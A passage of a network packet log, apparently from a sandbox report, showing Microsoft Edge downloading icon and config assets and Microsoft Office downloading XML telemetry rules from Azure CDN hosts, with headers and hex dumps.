2024-11-27 10:14:47 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49889	13.107.246.40	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:46 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 10:14:47 UTC	576	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:47 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: e1bd38c5-801e-0032-6b7f-4030d7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T101447Z-174f7845968jrjrxhC1EWRmmrs0000000wv00000000086z8 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 10:14:47 UTC	15808	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-27 10:14:47 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-27 10:14:47 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-27 10:14:47 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-27 10:14:47 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	49888	13.107.246.40	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:47 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 10:14:47 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:47 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: a124cbd3-e01e-000b-047f-407073000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T101447Z-174f7845968cpnpfhC1EWR3afc0000000wbg0000000083md Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 10:14:47 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	49893	13.107.246.40	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:47 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 10:14:47 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:47 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 0bea2c01-401e-0042-507f-404313000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T101447Z-174f7845968ljs8phC1EWRe6en0000000wn0000000005e73 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 10:14:47 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	49892	13.107.246.40	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:47 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 10:14:47 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:47 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: b9c5c0e5-901e-0069-057f-4037ab000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T101447Z-174f7845968xlwnmhC1EWR0sv80000000wmg000000005fhv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 10:14:47 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:47 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:47 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 14d8e695-801e-008c-6b91-3f7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101447Z-174f7845968g6hv8hC1EWR1v2n00000004ug0000000005a4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:47 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	49890	13.107.246.40	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:47 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 10:14:47 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:47 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 843d88b3-801e-005f-1a7f-409af9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T101447Z-174f7845968glpgnhC1EWR7uec0000000wx0000000007ax2 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:47 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:47 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:47 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 97970dc3-901e-008f-6c91-3f67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101447Z-174f7845968xlwnmhC1EWR0sv80000000wm000000000672m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:47 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:47 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:47 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 8b6e778c-d01e-005a-3367-407fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101447Z-174f7845968qj8jrhC1EWRh41s0000000wug000000000spx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:47 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" 